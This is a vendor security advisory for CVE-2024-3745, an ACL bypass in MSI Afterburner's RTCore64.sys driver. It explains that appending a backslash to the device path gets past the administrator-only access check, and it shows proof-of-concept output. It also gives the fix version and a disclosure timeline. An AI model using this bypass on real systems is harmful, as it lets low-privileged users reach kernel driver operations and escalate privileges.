MSI Afterburner - ACL Bypass

7.8

High

Discovered by 

Andres Roldan

Offensive Team, Fluid Attacks

Summary

Full name

MSI Afterburner v4.6.6.16381 Beta 3 - ACL Bypass

Code name

State

Public

Release date

May 17, 2024

Affected product

MSI Afterburner

Vendor

Micro-Star INT'L CO.

Affected version(s)

Version 4.6.6.16381 Beta 3

Vulnerability name

ACL Bypass

Remotely exploitable

No

CVSS v3.0 vector string

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVSS v3.0 base score

7.8

Exploit available

Yes

CVE ID(s)

Description

MSI Afterburner v4.6.6.16381 Beta 3 is vulnerable to an ACL Bypass vulnerability in the RTCore64.sys driver, which leads to triggering vulnerabilities like CVE-2024-1443 and CVE-2024-1460 from a low privileged user.

Vulnerability

The RTCore64.sys driver allows to perform any IOCTL operation from a low privileged user.

The creation of the DeviceObject is done using the following code:

RtlInitUnicodeString(&DefaultSDDLString, L"D:P(A;;GA;;;SY)(A;;GA;;;BA)");
  result = WdmlibIoCreateDeviceSecure(
             DriverObject,
             0,
             &DestinationString,
             0x22u,
             0,
             0,
             &DefaultSDDLString,
             0i64,
             &DeviceObject

According to MSDN, the function signature is:

NTSTATUS WdmlibIoCreateDeviceSecure(
  [in]           PDRIVER_OBJECT   DriverObject,
  [in]           ULONG            DeviceExtensionSize,
  [in, optional] PUNICODE_STRING  DeviceName,
  [in]           DEVICE_TYPE      DeviceType,
  [in]           ULONG            DeviceCharacteristics,
  [in]           BOOLEAN          Exclusive,
  [in]           PCUNICODE_STRING DefaultSDDLString,
  [in, optional] LPCGUID          DeviceClassGuid,
                 PDEVICE_OBJECT   *DeviceObject

The defined SDDL string limits the access for the DeviceObject to Administrators only:


Every DeviceObject has an associated name space, which means that paths like \Device\DeviceName and \Device\DeviceName\Anything would be valid targets for a IOCTL request. However, as the DeviceCharacteristics option is set to NULL when creating the DeviceObject, the defined ACL does not propagate to every possible file under the DeviceObject namespace, making it trivial to bypass the ACL by simply adding a \ in the end of the DeviceName definition in the IOCTL request:

PS C:\Users\admin\Desktop> whoami
desktop-fm7vnok\admin
PS C:\Users\admin\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
PS C:\Users\admin\Desktop> .\PoC.exe \\.\RTCore64
[!] Error while creating a handle to the driver: (0) Access is denied.

PS C:\Users\admin\Desktop> .\PoC.exe \\.\RTCore64\
[+]

Our security policy

We have reserved the ID CVE-2024-3745 to refer to this issue from now on.

Disclosure policy

System Information

  • Version: MSI Afterburner v4.6.6.16381 Beta 3

  • Operating System: Windows

Mitigation

The vendor published a the version 4.6.6 Beta 4 Build 16449 fixing this vulnerability:

References

Timeline

Vulnerability discovered

Apr 11, 2024

Vendor Confirmed Vuln.

Apr 13, 2024

Vulnerability patched

May 17, 2024

Vendor contacted

Apr 11, 2024

Vendor replied

Apr 13, 2024

Public disclosure

May 17, 2024

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.